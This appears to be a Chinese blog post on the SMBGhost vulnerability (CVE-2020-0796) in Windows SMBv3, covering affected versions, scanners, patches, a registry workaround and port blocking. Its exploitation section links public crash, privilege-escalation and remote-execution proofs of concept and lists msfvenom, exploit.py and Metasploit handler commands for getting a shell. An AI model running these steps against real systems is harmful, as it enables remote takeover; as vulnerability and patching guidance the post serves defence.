SMB漏洞修复

通告背景

2020年3月11日,某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述,其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞(CVE-2020-0796),攻击者可以利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。此漏洞主要影响支持SMBv3.0的设备,理论上存在蠕虫化的可能性。

漏洞描述

漏洞存在于Windows的SMBv3.0(文件共享与打印服务)中,目前技术细节暂不公布,对于漏洞的利用无需用户验证,通过构造恶意请求即可触发导致任意代码执行,系统受到非授权控制。

影响面评估

此漏洞主要影响SMBv3.0协议,目前支持该协议的设备包括Windows 8、Windows 8.1、Windows 10、Windows Server 2012 和 Windows Server 2016,但是从微软的通告来看受影响目标主要是Win10系统,考虑到相关设备的数量级,潜在威胁较大。

受影响的Windows操作系统版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)


漏洞检测篇

git 脚本检测:

GitHub - ly4k/SMBGhost: Scanner for CVE-2020-0796 - SMBv3 RCE
检测返回的数据包中SMB压缩版本,这种检测方式打过补丁依然会误报。

python scanner.py <IP>

奇安信检测工具:

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
适用于局域网批量检测,快速查找未打补丁的机器。

腾讯电脑管家 SMB 漏洞修复工具:

http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe
适用于个人用户检测,一键快速检测和修复。

漏洞利用篇

蓝屏 PoC

GitHub - eerykitty/CVE-2020-0796-PoC: PoC for triggering buffer overflow via CVE-2020-0796

使用两台虚拟机作为漏洞演示,一台win10 1903版本,一台是Kali Linux。

python3 CVE-2020-0796.py <IP>

本地提权 PoC

GitHub - danigargu/CVE-2020-0796: CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost
本地普通用户Bypass执行提权exp后弹出cmd窗口,成功获取system权限。

远程利用 PoC

GitHub - chompie1337/SMBGhost_RCE_PoC

漏洞演示过程:

1、使用msfvenom生成payload

msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o evil.py

2、将evil.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。

root@kali:~# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

3、运行exploit.py

python3 exploit.py -ip 192.168.172.128

4、启动msf监听本地端口(PS:监听端口如果一直收不到shell,可重新运行一次。)

msf5 > use exploit/multi/handler

修复方法

1. 补丁

微软已经发布了此漏洞的安全补丁,访问如下链接:
Security Update Guide - Microsoft Security Response Center

方法一:给对应的系统打微软出的最新补丁

系统类型 介绍 下载链接
Windows 10 Version 1903 for 32-bit Systems KB4551762介绍 下载
Windows 10 Version 1903 for ARM64-based Systems KB4551762介绍 下载
Windows 10 Version 1903 for x64-based Systems KB4551762介绍 下载
Windows 10 Version 1909 for 32-bit Systems KB4551762介绍 下载
Windows 10 Version 1909 for ARM64-based Systems KB4551762介绍 下载
Windows 10 Version 1909 for x64-based Systems KB4551762介绍 下载
Windows Server, version 1903 (Server Core installation) KB4551762介绍 下载
Windows Server, version 1909 (Server Core installation) KB4551762介绍 下载

2. 临时解决方案

如果暂时无法安装补丁,微软当前建议按如下临时解决方案处理:

方法二: 禁用SMBv3 压缩
禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。
使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
用户可通过以下PowerShell命令撤销禁用压缩功能
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force
注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。

方法三:设置防火墙策略关闭相关端口
SMB的TCP 445端口
NetBIOS名称解析的UDP 137端口
NetBIOS数据图服务的UDP 138端口
NetBIOS会话服务的TCP 139端口

方法四:通过 IP 安全策略屏蔽危险端口, bat 执行添加防火墙策略,关闭危险服务
您浏览的页面不存在,请检查页面地址是否正确!

修复

微软目前给出变通方法:禁用SMBv3的压缩功能或在防火墙禁止445端口

PowerShell禁用SMBv3压缩功能:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

PowerShell重新启用SMBv3压缩功能:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force

相关推荐
(:满天星:)4 小时前
第31篇:块设备与字符设备管理深度解析(基于OpenEuler 24.03)
linux·运维·服务器·网络·centos
小陶来咯4 小时前
【仿muduo库实现并发服务器】Acceptor模块
运维·服务器
爱莉希雅&&&4 小时前
shell编程之awk命令详解
linux·服务器·git
笑稀了的野生俊4 小时前
在服务器中下载 HuggingFace 模型:终极指南
linux·服务器·python·bash·gpu算力
路来了4 小时前
Python小工具之PDF合并
开发语言·windows·python
小扎仙森5 小时前
关于服务器宝塔转移wordperss子比主题问题
运维·服务器
小小小糖果人5 小时前
Linux云计算基础篇(5)
linux·运维·服务器
野蛮人6号5 小时前
虚拟机网络编译器还原默认设置后VMnet8和VMnet1消失了
网络·vmware·虚拟机网络编译器·vmnet8消失
scuter_yu6 小时前
主流零信任安全产品深度介绍
运维·网络·安全
KENYCHEN奉孝6 小时前
Rust征服字节跳动:高并发服务器实战
服务器·开发语言·rust